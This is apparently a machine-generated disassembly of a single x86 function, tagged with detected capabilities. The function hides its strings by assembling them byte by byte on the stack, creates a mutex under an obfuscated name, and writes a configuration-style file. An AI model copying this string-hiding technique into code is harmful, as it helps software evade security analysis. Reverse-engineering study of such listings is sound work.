Function at 0x1000526a
Capabilities:
Contain obfuscated stackstrings
Create thread
Get file size

Disassembly:
mov eax, 0x1003ca49
call fcn.1003baf8
mov eax, 0x1a94
call fcn.10032090
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
xor edx, edx
mov dword [ebp - 4], edx
xor ecx, ecx
mov dword [esi + 0x44], 7
mov dword [esi + 0x40], edx
mov word [esi + 0x30], cx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], edx
mov dword [esi + 0x50], edx
mov dword [esi + 0x54], edx
mov dword [esi + 0x58], edx
mov dword [esi + 0x5c], edx
mov dword [esi + 0x60], edx
mov dword [esi + 0x64], edx
mov dword [esi + 0x68], edx
lea ebx, [esi + 0x407c]
mov ecx, ebx
mov byte [ebp - 4], 4
call fcn.10008d36
lea edi, [esi + 0x4090]
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.10008d36
xor ecx, ecx
xor eax, eax
mov dword [esi + 0x40bc], 7
mov dword [esi + 0x40b8], ecx
mov word [esi + 0x40a8], ax
mov byte [ebp - 4], 7
mov dword [esi + 0x40d0], ecx
mov dword [esi + 0x40d4], ecx
call fcn.10009f93
mov dword [esi + 0x40d0], eax
push 7
xor ecx, ecx
pop edx
mov dword [esi + 0x40f4], edx
mov dword [esi + 0x40f0], ecx
xor eax, eax
mov word [esi + 0x40e0], ax
mov dword [esi + 0x4120], edx
mov dword [esi + 0x411c], ecx
mov word [esi + 0x410c], ax
mov dword [esi + 0x4124], ecx
mov dword [esi + 0x4128], ecx
mov dword [esi + 0x412c], ecx
mov dword [esi + 0x4130], ecx
mov dword [esi + 0x4134], ecx
mov dword [esi + 0x4138], ecx
mov dword [esi + 0x413c], ecx
mov dword [esi + 0x4140], ecx
mov dword [esi + 0x4144], ecx
lea eax, [esi + 0x4180]
mov dword [ebp - 0x2d8], eax
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ecx
mov word [eax], cx
mov byte [ebp - 4], 0xd
push section..data
lea ecx, [esi + 0x4198]
call fcn.1000ac2b
mov eax, esi
xor edx, edx
lea ecx, [eax + 0x419c]
mov dword [ebp - 0x2e0], ecx
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], edx
mov word [ecx], dx
xor ecx, ecx
mov byte [ebp - 4], 0xf
mov dword [eax + 0x4178], ecx
mov dword [eax + 0x417c], ecx
push 0x10045a0c
lea ecx, [esi + 0x4198]
call fcn.1000b034
call fcn.1000b9e9
or dword [esi + 0x4160], 0xffffffff
or dword [esi + 0x4164], 0xffffffff
mov dword [esi + 0x4170], eax
xor eax, eax
mov dword [0x1004e6b4], eax
mov dword [esi + 0x416c], eax
mov byte [esi], al
mov byte [esi + 0x14], 1
mov byte [0x1004e6b3], al
mov dword [esi + 0x28], 0x1000000
mov word [esi + 0x24], 1
mov dword [esi + 0x40d8], eax
mov dword [esi + 0x40dc], eax
mov word [esi + 0x415c], ax
mov byte [esi + 0x415e], al
mov byte [esi + 0x27], al
mov ecx, ebx
mov dword [0x1004e9e4], eax
mov byte [esi + 0x2c], al
mov dword [esi + 0x40a4], eax
call fcn.100096cc
mov ecx, edi
call fcn.100096cc
call fcn.1000b5e0
push ecx
mov ecx, eax
call fcn.1000b686
xor edx, edx
push ecx
inc edx
call fcn.1000b635
xor edx, edx
inc edx
mov dword [esi + 8], eax
call fcn.1000b635
xor edx, edx
mov dword [esi + 0xc], eax
call fcn.1000b635
xor edx, edx
mov dword [esi + 0x10], eax
call fcn.1000b635
pop ecx
pop ecx
push 0x74
mov dword [esi + 4], eax
pop eax
push 0x72
pop edx
push 0x65
pop ecx
push 0x50
mov word [ebp - 0x212], ax
pop eax
push 0x75
pop ebx
mov word [ebp - 0x216], dx
mov word [ebp - 0x21c], cx
mov word [ebp - 0x218], cx
mov word [ebp - 0x20e], ax
mov word [ebp - 0x1f8], bx
push 0x5c
pop ebx
push 0x61
mov word [ebp - 0x226], ax
xor eax, eax
mov word [ebp - 0x1fc], dx
pop edx
push 0x6f
mov word [ebp - 0x1f0], ax
mov word [ebp - 0x228], bx
pop ebx
push 0x43
pop eax
push 0x74
mov word [ebp - 0x224], ax
pop eax
push 0x63
mov word [ebp - 0x1f6], ax
pop eax
push 0x4d
pop edi
push 0x6e
mov word [ebp - 0x1fa], di
pop edi
push 0x47
mov word [ebp - 0x21e], ax
mov word [ebp - 0x220], ax
mov word [ebp - 0x206], ax
pop eax
push 0x78
mov word [ebp - 0x234], ax
pop eax
push 0x6c
mov word [ebp - 0x1f2], ax
pop eax
push 0x53
mov word [ebp - 0x200], di
pop edi
push 0x41
mov word [ebp - 0x208], di
pop edi
push 0x6e
mov word [ebp - 0x222], di
pop edi
push 0x72
mov word [ebp - 0x202], di
pop edi
push 0x62
mov word [ebp - 0x1f4], cx
mov word [ebp - 0x232], ax
mov word [ebp - 0x210], cx
mov word [ebp - 0x1fe], cx
pop ecx
mov word [ebp - 0x22a], ax
mov word [ebp - 0x21a], ax
lea eax, [ebp - 0x234]
mov word [ebp - 0x230], bx
mov word [ebp - 0x20a], bx
push eax
xor ebx, ebx
push ebx
push 0x1f0001
mov word [ebp - 0x214], dx
mov word [ebp - 0x22c], dx
mov word [ebp - 0x204], dx
mov word [ebp - 0x20c], di
mov word [ebp - 0x22e], cx
call dword [0x1006ca2c]
mov dword [0x1006c9e8], eax
cmp dword [0x1006c9e8], ebx
je 0x100055e9
mov byte [0x1004e6b2], bl
jmp 0x10005660
mov byte [ebp - 0x450], bl
xor eax, eax
lea edi, [ebp - 0x44f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x450]
stosb byte es:[edi], al
call fcn.1000b78f
push ebx
push ebx
push 1
lea eax, [ebp - 0x450]
push eax
call dword [0x1006ca48]
lea eax, [ebp - 0x450]
mov dword [ebp - 0x2e8], ebx
mov dword [ebp - 0x2e8], eax
lea eax, [ebp - 0x234]
push eax
push ebx
lea eax, [ebp - 0x2ec]
push eax
mov dword [ebp - 0x2e4], ebx
mov dword [ebp - 0x2ec], 0xc
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0x72
mov dword [0x1006c9e8], eax
mov byte [0x1004e6b2], 1
pop edi
xor eax, eax
push 0x206
mov word [ebp - 0x12a0], ax
lea eax, [ebp - 0x129e]
push ebx
push eax
call fcn.10010900
pop ecx
pop ecx
lea edx, [ebp - 0x12a0]
call fcn.1000b532
lea edx, [ebp - 0x12a0]
pop ecx
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x10005692
sub edx, ecx
push 0x5c
sar edx, 1
pop ecx
jmp 0x100056b0
xor eax, eax
mov word [ebp + edx*2 - 0x12a0], ax
dec edx
cmp word [ebp + edx*2 - 0x12a0], cx
jne 0x100056a6
lea eax, [ebp - 0x12a0]
push eax
lea ecx, [esi + 0x30]
call fcn.100092a6
xor eax, eax
push 0x206
mov word [ebp - 0x898], ax
lea eax, [ebp - 0x896]
push ebx
push eax
call fcn.10010900
add esp, 0xc
cmp byte [ebp + 0x20], bl
push ebx
push 0x1c
pop eax
push 0x23
pop ecx
cmovne eax, ecx
push eax
lea eax, [ebp - 0x898]
push eax
push ebx
call dword [0x1006ca28]
lea ecx, [ebp - 0x2dc]
call fcn.1000aa7c
mov byte [ebp - 4], 0x10
push dword [eax]
lea eax, [ebp - 0x898]
push eax
call dword [0x1006ca24]
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2dc]
lea ecx, [ecx - 0x10]
call fcn.1000b0c2
lea ecx, [ebp - 0x898]
call fcn.1000b58e
test eax, eax
jne 0x1000574e
lea ecx, [ebp - 0x898]
call fcn.1000410b
lea eax, [ebp - 0x898]
push eax
push pe_nt_image_headers32
push 0x1004e6b8
call fcn.1000f436
add esp, 0xc
xor eax, eax
push 0x73
mov word [ebp - 0x164], ax
pop eax
push 0x61
pop ecx
push 0x64
mov word [ebp - 0x168], ax
pop eax
push 0x65
mov word [ebp - 0x174], ax
pop eax
push 0x74
mov word [ebp - 0x166], ax
pop eax
push 0x62
mov word [ebp - 0x170], ax
pop eax
mov word [ebp - 0x16c], ax
lea eax, [ebp - 0x174]
push eax
lea eax, [ebp - 0x898]
push eax
mov word [ebp - 0x16a], cx
mov word [ebp - 0x172], cx
mov word [ebp - 0x16e], cx
call dword [0x1006ca24]
lea ecx, [ebp - 0x898]
call fcn.1000b58e
test eax, eax
jne 0x100057e8
lea ecx, [ebp - 0x898]
call fcn.1000410b
push 0x52
pop eax
push 0x63
mov word [ebp - 0x1a6], ax
pop eax
push 0x50
pop ecx
push 0x5c
mov word [ebp - 0x196], ax
pop eax
push 0x41
mov word [ebp - 0x1a8], ax
pop eax
push 0x2e
mov word [ebp - 0x1a0], ax
pop eax
push 0x6f
mov word [ebp - 0x198], ax
xor eax, eax
mov word [ebp - 0x18e], ax
pop eax
push 0x6e
pop edx
push 0x66
mov word [ebp - 0x192], dx
pop edx
push 0x43
mov word [ebp - 0x194], ax
mov word [ebp - 0x190], dx
pop edx
mov word [ebp - 0x19a], ax
xor eax, eax
push 7
mov word [ebp - 0x19c], di
pop edi
mov word [ebp - 0x4b0], ax
lea eax, [ebp - 0x1a8]
mov word [ebp - 0x1a4], cx
mov word [ebp - 0x19e], cx
push eax
lea ecx, [ebp - 0x4b0]
mov word [ebp - 0x1a2], dx
mov dword [ebp - 0x49c], edi
mov dword [ebp - 0x4a0], ebx
call fcn.100092a6
mov byte [ebp - 4], 0x11
xor eax, eax
push 0x1004e6b8
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x46c], edi
mov dword [ebp - 0x470], ebx
mov word [ebp - 0x480], ax
call fcn.100092a6
lea eax, [ebp - 0x4b0]
push eax
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x5d0]
mov byte [ebp - 4], 0x12
call fcn.1000a1bd
pop ecx
mov byte [ebp - 4], 0x13
cmp dword [eax + 0x14], 8
jb 0x100058e6
mov eax, dword [eax]
push ecx
push 0x80
push 2
push ecx
push 1
mov edx, 0x40000000
mov ecx, eax
call fcn.1000b4cc
add esp, 0x14
lea ecx, [ebp - 0x5d0]
push ebx
push 1
mov edi, eax
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x4b0]
mov byte [ebp - 4], 0xf
call fcn.10009482
cmp edi, 0xffffffff
je 0x10006143
push ebx
push ebx
push ebx
push edi
call dword [0x1006ca20]
push edi
call dword [0x1006ca1c]
push 0x7ff
lea eax, [ebp - 0x1097]
push ebx
push eax
mov byte [ebp - 0x1098], bl
call fcn.10010900
push 0x64
pop ecx
push 0x65
pop eax
push 0x69
mov byte [ebp - 0x2e], al
pop eax
mov byte [ebp - 0x30], al
mov byte [ebp - 0x33], al
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x31], 0x46
mov byte [ebp - 0x32], cl
mov byte [ebp - 0x34], 0x50
mov word [ebp - 0x2c], 0x22
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2d], 0x20
call fcn.10010076
mov ecx, esp
push 0x1004e6b8
call fcn.10008b2e
lea ecx, [ebp - 0x678]
call fcn.1000167b
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x100059c4
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
add esp, 0xc
lea ecx, [ebp - 0x678]
call fcn.10008ae5
push 0x64
pop eax
push 0x50
mov byte [ebp - 0x61], al
pop eax
push 0x41
pop ecx
push 0x52
mov byte [ebp - 0x6a], al
mov byte [ebp - 0x67], al
mov byte [ebp - 0x68], cl
pop ecx
push 0x72
pop eax
push 0x70
mov byte [ebp - 0x66], al
pop eax
push 0x2e
mov byte [ebp - 0x63], al
pop eax
push 0x43
mov byte [ebp - 0x64], al
pop eax
push 0x69
mov byte [ebp - 0x69], al
pop eax
mov byte [ebp - 0x62], al
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x6c], 0x5c
mov byte [ebp - 0x60], bl
mov byte [ebp - 0x6b], cl
mov byte [ebp - 0x65], 0x6f
call fcn.100100cb
push 0x1004593c
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x65
pop eax
push 0x69
mov byte [ebp - 0x16], al
pop eax
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov dword [ebp - 0x1c], 0x46676f4c
mov word [ebp - 0x15], 0x2220
mov byte [ebp - 0x17], 0x6c
mov byte [ebp - 0x13], bl
call fcn.100100cb
add esp, 0xc
mov ecx, esp
push 0x1004e6b8
call fcn.10008b2e
lea ecx, [ebp - 0x618]
call fcn.1000167b
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x10005aad
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
add esp, 0xc
lea ecx, [ebp - 0x618]
call fcn.10008ae5
push 0x41
pop eax
push 0x50
pop ecx
push 0x43
mov byte [ebp - 0x58], al
pop eax
push 0x52
mov byte [ebp - 0x59], al
pop eax
push 0x6f
mov byte [ebp - 0x5b], al
pop eax
push 0x5c
mov byte [ebp - 0x52], al
mov byte [ebp - 0x55], al
pop eax
push 0x2e
mov byte [ebp - 0x5c], al
pop eax
push 0x72
mov byte [ebp - 0x54], al
pop eax
mov byte [ebp - 0x56], al
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov word [ebp - 0x51], 0x67
mov byte [ebp - 0x5a], cl
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x57], cl
call fcn.100100cb
push 0x1004593c
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x69
pop eax
push 0x65
mov byte [ebp - 0xab], al
pop eax
push 0x72
pop edx
push 0x61
pop ecx
push 0x44
mov byte [ebp - 0xad], al
mov byte [ebp - 0xa9], al
pop eax
mov byte [ebp - 0xb4], al
mov byte [ebp - 0xac], al
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov dword [ebp - 0xa4], 0x222079
mov byte [ebp - 0xa5], dl
mov byte [ebp - 0xb0], 0x62
mov byte [ebp - 0xaf], cl
mov byte [ebp - 0xae], 0x73
mov word [ebp - 0xa7], 0x6f74
mov byte [ebp - 0xb2], 0x74
mov byte [ebp - 0xa8], 0x63
mov byte [ebp - 0xb1], cl
mov byte [ebp - 0xaa], dl
mov byte [ebp - 0xb3], cl
call fcn.100100cb
add esp, 0xc
mov ecx, esp
push 0x1004e6b8
call fcn.10008b2e
lea ecx, [ebp - 0x540]
call fcn.1000167b
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x10005bef
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
add esp, 0xc
lea ecx, [ebp - 0x540]
call fcn.10008ae5
push 0x61
pop eax
push 0x64
mov byte [ebp - 0x26], al
mov byte [ebp - 0x22], al
mov byte [ebp - 0x24], al
pop eax
push 0x5c
mov byte [ebp - 0x27], al
pop eax
push 0x65
mov byte [ebp - 0x28], al
pop eax
push 0x74
mov byte [ebp - 0x20], al
pop eax
mov byte [ebp - 0x25], al
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x23], 0x62
mov byte [ebp - 0x1f], bl
mov byte [ebp - 0x21], 0x73
call fcn.100100cb
push 0x1004593c
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x63
pop eax
push 0x43
mov byte [ebp - 0x87], al
pop eax
push 0x74
mov byte [ebp - 0x8b], al
pop eax
push 0x53
mov byte [ebp - 0x84], al
pop eax
push 0x65
mov byte [ebp - 0x89], al
pop eax
mov byte [ebp - 0x85], al
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov word [ebp - 0x7f], 0x30
mov word [ebp - 0x82], 0x3333
mov byte [ebp - 0x86], 0x6b
mov byte [ebp - 0x83], 0x20
mov byte [ebp - 0x8a], 0x50
mov byte [ebp - 0x88], 0x6f
mov byte [ebp - 0x80], 0x31
mov byte [ebp - 0x8c], 0x54
call fcn.100100cb
mov ebx, 0x10045940
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x2e
pop ecx
mov byte [ebp - 0x92], 0x30
mov word [ebp - 0x90], 0x31
mov byte [ebp - 0x93], cl
mov word [ebp - 0x98], 0x3231
push 0x43
pop eax
push 0x72
mov byte [ebp - 0x9f], al
pop eax
push 0x64
mov byte [ebp - 0x9a], al
pop eax
push 0x41
mov byte [ebp - 0x9b], al
mov byte [ebp - 0x9c], al
pop eax
mov byte [ebp - 0x9d], al
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x95], cl
mov byte [ebp - 0x9e], 0x50
mov byte [ebp - 0x99], 0x20
mov byte [ebp - 0x96], 0x37
mov byte [ebp - 0x91], cl
mov byte [ebp - 0xa0], 0x54
mov byte [ebp - 0x94], 0x30
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
add esp, 0x48
mov word [ebp - 0x4a], 0x666c
push 0x53
pop eax
push 0x65
pop ecx
push 0x63
mov byte [ebp - 0x4c], al
pop eax
push 0x43
mov byte [ebp - 0x45], al
pop eax
push 0x68
mov byte [ebp - 0x48], al
mov byte [ebp - 0x46], cl
mov byte [ebp - 0x4b], cl
pop ecx
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov dword [ebp - 0x44], 0x30206b
mov byte [ebp - 0x47], cl
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x43
pop edx
push 0x74
pop eax
push 0x65
pop ecx
push 0x69
mov byte [ebp - 0xd6], al
pop eax
push 0x63
mov byte [ebp - 0xdf], al
pop eax
push 0x68
mov byte [ebp - 0xd2], al
pop eax
push 0x72
mov byte [ebp - 0xd4], al
mov word [ebp - 0xd0], 0x7920
mov byte [ebp - 0xd5], dl
mov byte [ebp - 0xce], cl
pop eax
push 0x62
mov byte [ebp - 0xd7], al
pop eax
mov byte [ebp - 0xdc], al
xor eax, eax
push 0x73
mov byte [ebp - 0xcc], al
pop eax
mov byte [ebp - 0xcd], al
mov byte [ebp - 0xde], al
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0xd3], cl
mov byte [ebp - 0xda], cl
mov byte [ebp - 0xe0], 0x44
mov byte [ebp - 0xdb], 0x6c
mov byte [ebp - 0xd1], 0x6b
mov byte [ebp - 0xd9], dl
mov byte [ebp - 0xd8], cl
mov byte [ebp - 0xdd], 0x61
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x6f
pop ecx
push 0x6e
pop eax
push 0x65
mov byte [ebp - 0x70], al
pop eax
push 0x63
mov byte [ebp - 0x78], al
pop eax
push 0x69
mov byte [ebp - 0x79], al
pop eax
mov byte [ebp - 0x74], al
push 0x72
pop eax
mov byte [ebp - 0x7a], al
xor eax, eax
mov byte [ebp - 0x6e], al
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x76], cl
mov word [ebp - 0x73], 0x6b73
mov byte [ebp - 0x7b], cl
mov byte [ebp - 0x7c], 0x46
mov byte [ebp - 0x71], 0x20
mov byte [ebp - 0x77], 0x54
mov byte [ebp - 0x75], 0x44
mov byte [ebp - 0x6f], cl
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
add esp, 0x48
mov word [ebp - 0x37], 0x6f
push 0x53
pop eax
push 0x63
mov byte [ebp - 0x40], al
pop eax
push 0x6e
pop ecx
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3d], cl
mov word [ebp - 0x3b], 0x464c
mov byte [ebp - 0x38], cl
push 0x45
pop eax
mov byte [ebp - 0x3c], al
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0x3e], 0x61
mov byte [ebp - 0x39], 0x20
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x68
pop edx
push 0x69
pop ecx
push 0x74
pop eax
push 0x73
mov byte [ebp - 0xeb], al
mov byte [ebp - 0xf6], cl
mov byte [ebp - 0xef], cl
mov byte [ebp - 0xf3], cl
pop ecx
push 0x6e
pop eax
push 0x53
mov byte [ebp - 0xe5], al
mov byte [ebp - 0xed], al
mov byte [ebp - 0xf2], al
pop eax
push 0x72
mov byte [ebp - 0xf0], al
pop eax
push 0x65
mov byte [ebp - 0xe9], al
pop eax
mov byte [ebp - 0xe8], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0xec], 0x61
mov word [ebp - 0xe4], 0x6f
mov byte [ebp - 0xf4], dl
mov byte [ebp - 0xf8], 0x50
mov byte [ebp - 0xf1], 0x67
mov byte [ebp - 0xf5], cl
mov byte [ebp - 0xe6], 0x20
mov byte [ebp - 0xf7], dl
mov byte [ebp - 0xea], 0x75
mov byte [ebp - 0xee], 0x67
mov byte [ebp - 0xe7], cl
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
push 0x6e
pop eax
push 0x52
mov byte [ebp - 0xbd], al
pop eax
push 0x68
mov byte [ebp - 0xbb], al
pop eax
push 0x63
mov byte [ebp - 0xc7], al
pop eax
mov byte [ebp - 0xc1], 0x67
mov byte [ebp - 0xbe], 0x61
mov word [ebp - 0xb6], 0x6f
mov byte [ebp - 0xc8], 0x50
mov byte [ebp - 0xbf], al
mov byte [ebp - 0xba], 0x4c
push 0x73
pop edx
push 0x69
pop ecx
push 0x6e
pop eax
push 0x55
mov byte [ebp - 0xc2], al
mov byte [ebp - 0xb7], al
pop eax
push 0x53
mov byte [ebp - 0xbc], al
pop eax
push 0x68
mov byte [ebp - 0xc0], al
pop eax
mov byte [ebp - 0xc4], al
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1098]
push 0x800
push eax
mov byte [ebp - 0xb9], dl
mov byte [ebp - 0xc3], cl
mov byte [ebp - 0xc5], dl
mov byte [ebp - 0xb8], 0x20
mov byte [ebp - 0xc6], cl
call fcn.100100cb
push ebx
lea eax, [ebp - 0x1098]
push 0x800
push eax
call fcn.100100cb
lea ecx, [ebp - 0x1098]
add esp, 0x48
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000611a
xor ebx, ebx
push ebx
lea eax, [ebp - 0x338]
push eax
sub ecx, edx
push ecx
lea eax, [ebp - 0x1098]
push eax
push edi
call dword [0x1006ca18]
mov ecx, edi
call fcn.1000b40a
push 0x50
pop ecx
push 0x72
pop edx
push 0x64
pop eax
push 0x5c
mov word [ebp - 0x29a], ax
xor eax, eax
mov word [ebp - 0x286], ax
pop eax
push 0x61
mov word [ebp - 0x2ac], ax
pop eax
push 0x66
mov word [ebp - 0x298], ax
pop eax
push 0x6e
mov word [ebp - 0x288], ax
pop eax
push 0x43
mov word [ebp - 0x28a], ax
pop eax
push 0x41
mov word [ebp - 0x2a8], ax
pop eax
push 0x6f
mov word [ebp - 0x2a6], ax
pop eax
push 0x2e
pop edi
push 0x55
mov word [ebp - 0x290], di
pop edi
push 0x70
mov word [ebp - 0x29e], di
pop edi
push 0x74
pop ebx
push 0x63
mov word [ebp - 0x296], bx
pop ebx
push 0x65
mov word [ebp - 0x28c], ax
mov word [ebp - 0x2a0], ax
pop eax
mov word [ebp - 0x294], ax
xor eax, eax
push 7
mov word [ebp - 0x29c], di
pop edi
mov word [ebp - 0x510], ax
mov word [ebp - 0x28e], bx
lea eax, [ebp - 0x2ac]
mov word [ebp - 0x2a4], cx
mov word [ebp - 0x2aa], cx
xor ebx, ebx
push eax
lea ecx, [ebp - 0x510]
mov word [ebp - 0x292], dx
mov word [ebp - 0x2a2], dx
mov dword [ebp - 0x4fc], edi
mov dword [ebp - 0x500], ebx
call fcn.100092a6
mov byte [ebp - 4], 0x14
xor eax, eax
push 0x1004e6b8
lea ecx, [ebp - 0x4e0]
mov dword [ebp - 0x4cc], edi
mov dword [ebp - 0x4d0], ebx
mov word [ebp - 0x4e0], ax
call fcn.100092a6
lea eax, [ebp - 0x510]
push eax
lea edx, [ebp - 0x4e0]
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x15
call fcn.1000a1bd
pop ecx
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 8
jb 0x1000627f
mov eax, dword [eax]
push ecx
push 0x80
push 2
push ecx
push 1
mov edx, 0x40000000
mov ecx, eax
call fcn.1000b4cc
add esp, 0x14
lea ecx, [ebp - 0x570]
push ebx
push 1
mov edi, eax
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x4e0]
call fcn.10009482
push ebx
push 1
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0xf
call fcn.10009482
cmp edi, 0xffffffff
je 0x100066cd
push ebx
push ebx
push ebx
push edi
call dword [0x1006ca20]
push edi
call dword [0x1006ca1c]
cmp dword [ebp + 0x18], 0
je 0x100062ff
call fcn.10004a65
test eax, eax
jne 0x100062ff
call fcn.10004d2a
test eax, eax
je 0x100063fc
push 0x2e
pop eax
push 0x61
pop ecx
push 0x6c
mov word [ebp - 0x2b6], ax
pop eax
push 0x6d
mov word [ebp - 0x2c0], ax
pop eax
push 0x62
mov word [ebp - 0x2bc], ax
pop eax
push 0x65
mov word [ebp - 0x2cc], ax
pop eax
push 0x76
pop edx
push 0x63
mov word [ebp - 0x2c6], ax
mov word [ebp - 0x2b8], dx
pop edx
push 0x74
mov word [ebp - 0x2b2], ax
xor eax, eax
mov word [ebp - 0x2ae], ax
mov word [ebp - 0x2c2], dx
pop edx
push 0x6e
pop eax
push 0x2e
mov word [ebp - 0x2b4], ax
pop eax
push 0x64
mov word [ebp - 0x2c4], ax
pop eax
mov word [ebp - 0x2d4], ax
push 0x73
pop eax
mov word [ebp - 0x2c8], ax
xor eax, eax
mov word [ebp - 0x31c], ax
lea eax, [ebp - 0x2d4]
mov word [ebp - 0x2ca], cx
mov word [ebp - 0x2ba], cx
mov word [ebp - 0x2d2], cx
mov word [ebp - 0x2ce], cx
mov word [ebp - 0x2be], cx
push eax
lea ecx, [ebp - 0x31c]
mov word [ebp - 0x2d0], dx
mov word [ebp - 0x2b0], dx
mov dword [ebp - 0x308], 7
mov dword [ebp - 0x30c], ebx
call fcn.100092a6
lea eax, [ebp - 0x31c]
push eax
lea ecx, [ebp + 8]
call fcn.10008b78
push ebx
push 1
lea ecx, [ebp - 0x31c]
call fcn.10009482
push 0x61
pop edx
push 0x72
pop eax
push 0x20
mov word [ebp - 0x1ae], ax
pop eax
push 0x6f
mov word [ebp - 0x1ac], ax
pop eax
push 0x65
pop ecx
push 0x62
mov word [ebp - 0x1b0], ax
pop eax
push 0x73
mov word [ebp - 0x1c0], ax
xor eax, eax
mov word [ebp - 0x1aa], ax
pop eax
push 0x44
mov word [ebp - 0x1bc], ax
pop eax
push 0x4d
mov word [ebp - 0x1c8], ax
pop eax
push 0x72
mov word [ebp - 0x1b8], ax
pop eax
push 0x69
pop ebx
push 0x74
mov word [ebp - 0x1b6], bx
pop ebx
push 0x64
mov word [ebp - 0x1ba], cx
pop ecx
push 0x69
mov word [ebp - 0x1c4], bx
pop ebx
push 0x70
mov word [ebp - 0x270], cx
pop ecx
push 0x73
mov word [ebp - 0x27e], bx
pop ebx
push 0x74
mov word [ebp - 0x1c6], dx
mov word [ebp - 0x1c2], dx
mov word [ebp - 0x1be], dx
mov word [ebp - 0x26e], dx
pop edx
push 0x63
mov word [ebp - 0x27c], cx
pop ecx
push 0x55
mov word [ebp - 0x282], cx
pop ecx
push 0x65
mov word [ebp - 0x1b4], ax
mov word [ebp - 0x1b2], ax
mov word [ebp - 0x280], ax
xor eax, eax
mov word [ebp - 0x274], cx
pop ecx
push 0x70
mov word [ebp - 0x25e], ax
pop eax
push 0x53
mov word [ebp - 0x272], ax
pop eax
push 0x20
mov word [ebp - 0x284], ax
pop eax
mov word [ebp - 0x268], bx
mov word [ebp - 0x26c], dx
mov word [ebp - 0x262], cx
mov word [ebp - 0x260], bx
mov word [ebp - 0x278], cx
mov word [ebp - 0x266], ax
mov word [ebp - 0x26a], cx
push 0x64
pop eax
mov word [ebp - 0x276], ax
push 0x79
pop eax
mov word [ebp - 0x264], ax
xor eax, eax
mov word [ebp - 0x498], ax
lea eax, [ebp - 0x284]
xor ebx, ebx
push eax
lea ecx, [ebp - 0x498]
mov word [ebp - 0x27a], dx
mov dword [ebp - 0x484], 7
mov dword [ebp - 0x488], ebx
call fcn.100092a6
mov byte [ebp - 4], 0x17
xor eax, eax
mov word [ebp - 0x3e0], ax
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 0x3cc], 7
mov dword [ebp - 0x3d0], ebx
call fcn.100092a6
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x3e0]
lea ecx, [ebp - 0x600]
mov byte [ebp - 4], 0x18
call fcn.1000a205
